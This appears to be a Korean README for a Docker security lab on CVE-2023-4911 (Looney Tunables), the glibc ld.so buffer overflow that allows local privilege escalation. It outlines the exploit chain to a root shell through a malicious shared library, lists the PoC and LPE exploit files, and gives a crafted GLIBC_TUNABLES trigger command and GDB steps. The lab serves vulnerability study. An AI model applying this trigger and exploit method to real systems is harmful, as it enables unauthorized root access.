
Docker 기반 랩으로, CVE-2023-4911 (Looney Tunables)을 분석하고 익스플로잇하는 데 사용됩니다. 이는 glibc ld.so 버퍼 오버플로우로 인해 로컬 권한 상승이 발생하는 취약점입니다. PoC, GDB 분석, 익스플로잇 개발 환경을 포함합니다.
GNU C Library(glibc) 동적 로더의 버퍼 오버플로우 취약점(Local Privilege Escalation) 분석 및 익스플로잇 개발을 위한 Docker 기반 실습 환경입니다.
| 항목 | 내용 |
|---|---|
| CVE 번호 | CVE-2023-4911 |
| 별칭 | Looney Tunables |
| 취약 대상 | GNU C Library (glibc) 2.34 ~ 2.38 |
| 취약 버전 | Ubuntu 22.04 — libc6 2.35-0ubuntu3.3 이하 |
| 패치 버전 | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| 타입 | Buffer Overflow in ld.so |
| 영향 | Local Privilege Escalation (일반 유저 → root) |
| 발견 | Qualys Security Research Team |
glibc 동적 로더(ld.so)는 프로그램 실행 시 GLIBC_TUNABLES 환경변수를 파싱합니다.
SUID 바이너리 실행 시 __libc_enable_secure = 1이 설정되고, ld.so는 해당 환경변수를 무효화(nullify)하는 코드 경로에 진입합니다.
이 과정에서 tunable1=tunable2=value 형식의 입력에 대해 잘못된 길이 계산으로 버퍼 오버플로우가 발생합니다.
일반 바이너리: __libc_enable_secure = 0 → nullify 코드 미진입 → 취약점 없음
SUID 바이너리: __libc_enable_secure = 1 → nullify 코드 진입 → 버퍼 오버플로우 발생
익스플로잇 흐름:
GLIBC_TUNABLES 오버플로우
↓
ld.so BSS 영역 link_map 포인터 덮어쓰기
↓
라이브러리 검색 경로를 evil_lib/ 경로로 변조
↓
evil.so 로드 → constructor 자동 실행
↓
setuid(0) + execve("/bin/bash") → root shell 획득
이 환경은 단순한 PoC 실행을 넘어, 취약점의 동작 원리를 직접 분석하고 익스플로잇을 개발하는 과정을 목표로 설계되었습니다.
ld.so 소스코드와 실행 바이너리를 함께 분석할 수 있는 환경 제공researcher) → root 권한 상승 시나리오 직접 실습CVE-2023-4911/
├── Dockerfile # 취약 환경 이미지 정의 (Multi-stage 빌드)
├── run.sh # Docker 빌드/실행 관리 스크립트
├── check_environment.sh # 컨테이너 시작 시 환경 자동 검증
├── poc/
│ ├── exploit.py # 기본 PoC — crash(SIGSEGV) 확인용
│ ├── exploit_lpe.py # LPE 익스플로잇 — GDB 분석 후 완성
│ └── evil_lib/
│ ├── evil.c # root shell 실행하는 악성 공유 라이브러리
│ └── Makefile
└── test_targets/
├── test_suid.c # SUID 테스트 바이너리 소스
└── test_heap.c # 힙 할당 테스트 바이너리 소스
./run.sh build && ./run.sh run
컨테이너 시작 시 sudo 비밀번호를 요구합니다.
비밀번호: password
# SIGSEGV 발생 여부 확인
python3 /workspace/poc/exploit.py --check-only
# 직접 트리거
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# 컨테이너 내부 직접 분석
gdb -q /workspace/test_targets/test_suid
# 원격 디버깅 (gdbserver)
# 컨테이너 내부
gdbserver :1234 /workspace/test_targets/test_suid
# 로컬 호스트
gdb
(gdb) target remote localhost:1234
GDB로 OVERFLOW_OFFSET과 TARGET_ADDR 분석 후 exploit_lpe.py 상단 값을 업데이트하고 실행합니다.
python3 /workspace/poc/exploit_lpe.py
# 취약 함수 위치
/workspace/glibc-source/elf/dl-tunables.c
# 주요 함수
__tunables_init() # 진입점
parse_tunables() # 오버플로우 발생 지점
tunables_strdup() # 버퍼 할당
# strace로 시스템 콜 추적
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# GDB로 __tunables_init 분석
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
이 환경은 교육 및 보안 연구 목적으로만 사용하십시오.
--privileged 모드로 실행되므로 격리된 환경에서만 사용하십시오| 명령 | 설명 |
|---|
./run.sh build | Docker 이미지 빌드 |
./run.sh run | 대화형 모드로 컨테이너 실행 |
./run.sh analysis | 분석 모드 실행 |
./run.sh test | 빠른 취약점 확인 |
./run.sh clean | 이미지 및 컨테이너 정리 |
| 항목 | 내용 |
|---|
| Base 이미지 | ubuntu:jammy-20230916 (패치 이전) |
| glibc 버전 | 2.35-0ubuntu3.3 (취약) |
| ld.so 버전 | 2.35-0ubuntu3.3 (취약) |
| 분석 계정 | researcher / password |
| glibc 소스 | /workspace/glibc-source (2.35) |
| 주요 포트 | 1234 (gdbserver) |
| 컨테이너 옵션 | --privileged, --pid=host |